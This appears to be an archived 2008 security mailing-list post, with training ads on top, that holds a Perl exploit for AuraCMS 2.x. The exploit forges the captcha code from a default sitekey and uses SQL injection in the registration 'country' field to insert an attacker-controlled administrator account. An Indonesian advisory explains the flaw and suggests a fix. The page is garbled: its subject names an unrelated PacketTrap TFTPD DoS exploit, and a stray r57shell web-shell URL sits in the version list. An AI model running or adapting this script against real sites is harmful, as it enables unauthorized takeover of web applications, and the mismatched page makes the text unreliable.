Ethical Hacking

Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package.
Computer Forensics Training at InfoSec Institute

Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors.




Network Security Vuln-Dev
[Top] [All Lists]

PacketTrap Networks pt360 2.0.39 TFTPD Remote DoS Exploit

Subject: PacketTrap Networks pt360 2.0.39 TFTPD Remote DoS Exploit
Date: 29 Mar 2008 22:06:52 -0000
#!/usr/bin/perl
#
# Indonesian Newhack Security Advisory
# ------------------------------------
# AuraCMS 2.x (user.php) - Security Code Bypass & Add Administrator Exploit
# Waktu                 :  Feb 28 2008 08:00PM
# Software              :  AuraCMS   
# Versi                 :  2.0
#                          2.1
#                          2.2.1
#                          http://www.r57shell.in/r57.txt?
#
# ------------------------------------
# Audit Oleh            :  NTOS-Team
# Lokasi                :  Indonesia | http://newhack.org
# Penjelasan            :
# 
# Kutu pada berkas "user.php" direktori "/content"
#---//---
# 59. if (!$nama || preg_match("/[^a-zA-Z0-9_-]/", $nama)) $error .= "Karakter 
Username tidak diizinkan kecuali a-z,A-Z,0-9,-, dan _<br />";
# 60. if (strlen($nama) > 10) $error .= "Username Terlalu Panjang Maksimal 10 
Karakter<br />";
# 61. if (strrpos($nama, " ") > 0) $error .= "Username Tidak Boleh Menggunakan 
Spasi";
# 62. if ($koneksi_db->sql_numrows($koneksi_db->sql_query("SELECT user FROM 
useraura WHERE user='$nama'")) > 0) $error .= "Error: Username ".$nama." sudah 
terdaftar , silahkan ulangi.<br />";
# 63. if ($koneksi_db->sql_numrows($koneksi_db->sql_query("SELECT user FROM 
temp_useraura WHERE user='$nama'")) > 0) $error .= "Error: Username ".$nama." 
sudah terdaftar , silahkan ulangi.<br />";
# 64. if ($koneksi_db->sql_numrows($koneksi_db->sql_query("SELECT email FROM 
useraura WHERE email='$email'")) > 0) $error .= "Error: Email ".$email." sudah 
terdaftar , silahkan ulangi.<br />";
# 65. if ($koneksi_db->sql_numrows($koneksi_db->sql_query("SELECT email FROM 
temp_useraura WHERE email='$email'")) > 0) $error .= "Error: Email ".$email." 
sudah terdaftar , silahkan ulangi.<br />";
# 66. if (!nama)  $error .= "Error: Formulir Nama belum diisi , silahkan 
ulangi.<br />";
# 67. if ($cekperaturan != "1") $error .= "You should be agree with rules and 
conditions of use!<br />";
# 68. if (!nama)  $error .= "Error: Formulir Nama belum diisi , silahkan 
ulangi.<br />";
# 69. if (!password)  $error .= "Error: Formulir Password belum diisi , 
silahkan ulangi.<br />";
# 70. if ($password != $rpassword)  $error .= "Password and Retype Password Not 
Macth.<br />";
# 71. if (!country)  $error .= "Error: Formulir Negara belum diisi , silahkan 
ulangi.<br />";
# 72. checkemail($email);
# 73. $code = substr(hexdec(md5("".date("F 
j")."".$_POST['random_num']."".$sitekey."")), 2, 6);
# 74. if (extension_loaded("gd") AND $code != $_POST['gfx_check']) $error .= 
"Error: Security Code Invalid<br />";
# 75.
# 76.
# 77. if ($error){
# 78.        $tengah .='<table width="100%" border="0" cellspacing="0" 
cellpadding="0" class="middle"><tr><td><table width="100%" 
class="bodyline"><tr><td align="left"><img src="images/warning.gif" 
border="0"></td><td align="center"><font 
class="option">'.$error.'</font></td><td align="right"><img 
src="images/warning.gif" border="0"></td></tr></table></td></tr></table>';
# 79. }else{
# 80.        $hasil1 = $koneksi_db->sql_query("INSERT INTO useraura (user, 
email, password , level, tipe, negara)VALUES('$nama', '$email', 
'$password','User','aktif', '$country')" );
# ---//---
# => Security Code Bypass
# baris 73 - 74 kode yang menarik,kita coba belah perlahan 2 baris ini
# $sitekey sudah terdifinisi di dalam berkas "config.php" direktori "includes"
# $_POST['random_num'] nilai acak yang dikirim melalui Form isian registrasi 
User secara hiden [bukan hasil isian User]
# $_POST['gfx_check'] nilai yang dikirim oleh USER melalui Form isian register 
User mengenai Security Code
# dan selengkap nya dapat di baca pada 
http://ezine.echo.or.id/ezine18/e18.005.txt
#
# => Add Administrator [INSERT Metode]
# baik... kita sudah bisa membypass sekuriti kode, sekarang buat admin baru di 
site target :p
# baris 71. variabel "country" jika tidak diisi hasil nya $error, namun sayang 
hanya sebatas itu saja aturannya :(
# kita lihat pada baris 80. VALUES('$nama', '$email', 
'$password','User','aktif', '$country') kembali disini tidak ada penyaringan 
# apa yang kamu pikirkan... mmm... menarik... nakal... jahat... tapi INDAH 
bukan... ;)
# ya... bagaimana kalo kami berpikir seperti ini ;
# 
# VALUES('$nama', '$email', '$password','User','aktif', 
'Indonesia['),('Attacker', 'attacker@hack.ed', 'MD5_Pass', 'Administrator', 
'aktif', 'Undergr0und]')" );
#
# baru ini namanya p0rn0c0d3...,
# satu sesi register 2 user yang di buat, pertama user yang sesuai isian form, 
yang kedua adalah User dengan Administrator hasil keNAKALan User :D
# terima kasih untuk author http://www.milw0rm.com/papers/149
#
# => Perbaikan Sederhana
# 1. Security Code
#    Ganti dengan Captcha yang berdasarkan session, dan cari Captcha yang tidak 
mudah dibaca OCR
# 2. Add Administrator
#    Ganti Kode baris 71. pada berkas "user.php" dengan ;
# ---//---
# 71. if (!$country || preg_match("/[^a-zA-Z]/", $country))   $error .= "Error: 
Formulir Negara belum diisi , silahkan ulangi.<br />";
# ---//---
#
# => Perhatian!
# "Exploit ini dibuat untuk pembelajaran, pengetesan dan pembuktian dari apa 
yang kami pelajari"
# Segala penyalahgunaan dan kerusakan yang diakibat dari exploit ini bukan 
tanggung jawab kami
# 
# =>Newhack Technology, OpenSource & Security
# ~ NTOS-Team->[fl3xu5,opt1lc] ~   
#
use Digest::MD5 qw(md5_hex);
use LWP::UserAgent;
use Getopt::Long;
no warnings;

if(!$ARGV[1]) {
 print "\n  |--------------------------------------------------|";
 print "\n  |          Indonesian Newhack Technology           |";
 print "\n  |--------------------------------------------------|";
 print "\n  |   AuraCMS <= 2.2.1  (user.php)                   |";
 print "\n  |   1.Security Code Bypass                         |";
 print "\n  |   2.Add Administrator                            |";
 print "\n  |                Coded by NTOS-Team                |";
 print "\n  |--------------------------------------------------|";
 print "\n  | exploit berhasil jika magic_quotes_gpc = off";
 print "\n[!] Penggunaan : ";
 print "\n[>] perl auracms-user.pl [Site] [Path] ";
 print "\n ";
 print "\n[!] Contoh     : ";
 print "\n[>] perl auracms-user.pl localhost /auracms2x/";
 print "\n ";
 print "\n";
 exit;
} 
$host           = $ARGV[0];
$path           = $ARGV[1];
$injek          = "Indonesia'),('t4mugel4p', 'gelap\@banget.gitu', 
'213aa1379cce2862538be1c046319684','Administrator','aktif', 'DuniaGelap";
@namabulan      = qw(January February March April May June July August 
September October November December);
$sitekey        = "x1a1MhphAur4kea7V3Rs820dweOwxIw4n3UgSusyM4nt04"; #defaul 
sitekey dari config.php
$tgl            = (localtime)[3];
$bln            = (localtime)[4];
$bulan          = $namabulan[$bln];
$date           = "$bulan $tgl";

## Breaking Security Code Auracms 2.x
$browser        = LWP::UserAgent->new() or die();
$getgfx         = $browser -> 
get("http://".$host.$path."?pilih=user&aksi=register";,);
$get            = $getgfx -> content;
        if ($get =~ /random_num" value="(.*?)"><\/td>/) { 
        $randnum = $1; 
        }
$gfx = substr(hex(md5_hex($date.$randnum.$sitekey)), 2, 6);

## Proses Add Administrator
$browser        = LWP::UserAgent->new() or die();
$postingkomen = $browser -> post(
"http://".$host.$path."?pilih=user&aksi=register";,
        [
          "nama"=>"t1pu4n",
          "email"=>"k3tipu\@nie.yea",
          "password"=>"terimakasih",
          "rpassword"=>"terimakasih",
          "country"=>$injek,
          "gfx_check"=>$gfx,
          "random_num"=>$randnum,
          "cekperaturan"=>"1",
          "submit"=>"Submit",
        ],
);
        $komen = $postingkomen -> content;
        if ($komen =~ />Please Login With Your Username and Your Password</) {
        print "[+]Sukses Register User\n"; 
        print "[+]Silahkan dicoba login\n";
        print "[+]Username : t4mugel4p\n";
        print "[+]Password : t4mugel4p\n";
        exit();}
        if ($komen =~ />Error/) {
        print "[!]Terjadi Kesalahan Pada Proses Register\n"; 
        exit();}
        print $komen;
        print "[!]\n Exploit Gagal!!! ;)\n";

# milw0rm.com [2008-03-28]

<Prev in Thread] Current Thread [Next in Thread>
  • PacketTrap Networks pt360 2.0.39 TFTPD Remote DoS Exploit, r57blg <=